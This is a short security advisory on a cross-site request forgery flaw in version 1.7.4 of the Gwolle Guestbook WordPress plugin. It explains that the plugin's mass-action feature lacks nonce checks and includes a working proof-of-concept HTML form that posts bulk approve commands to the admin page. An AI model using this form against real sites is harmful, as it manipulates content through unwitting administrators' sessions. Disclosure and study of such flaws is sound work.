Gwolle Guestbook mass action vulnerable for Cross-Site Request Forgery

Abstract
------------------------------------------------------------------------
A Cross-Site Request Forgery (CSRF) vulnerability was found in the
Gwolle Guestbook WordPress plugin. This issue can be used by an attacker
to mass approve of disapprove entries. In order to exploit this issue,
the attacker needs to lure a victim with editor or admin privileges to
an attacker-controlled page or trick him into clicking a malicous link.

Plugin version 1.7.4.

------------------------------------------------------------------------

recent version of Gwolle Guestbook can be obtained from the following

Details

https://sumofpwn.nl/advisory/2016/gwolle_guestbook_mass_action_vulnerable_for_cross_site_request_forgery.html

The Gwolle guestbook allows actions to be performed on multiple entries at once (mass-action). Although actions performed on a single entry do provide protection against Cross-Site Request Forgery (CSRF) by using wp-nonces, mass-action lacks this protection. Since the entry IDs are enumerable it allows an attacker to mass approve of disapprove entries.
Proof of Concept

The following proof of concept code demonstrates this issue:

<html>
<body>
<form action="http://<target>/wordpress/wp-admin/admin.php?page=gwolle-gb%2Fentries.php" method="POST">
<input type="hidden" name="gwolle_gb_page" value="entries" />
<input type="hidden" name="pageNum" value="1" />
<input type="hidden" name="entriesOnThisPage" value="2" />
<input type="hidden" name="show" value="all" />
<input type="hidden" name="massEditAction1" value="check" />
<input type="hidden" name="doaction" value="Apply" />
<input type="hidden" name="check-2" value="on" />
<input type="hidden" name="check-1" value="on" />
<input type="hidden" name="massEditAction2" value="-1" />
<input type="hidden" name="" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
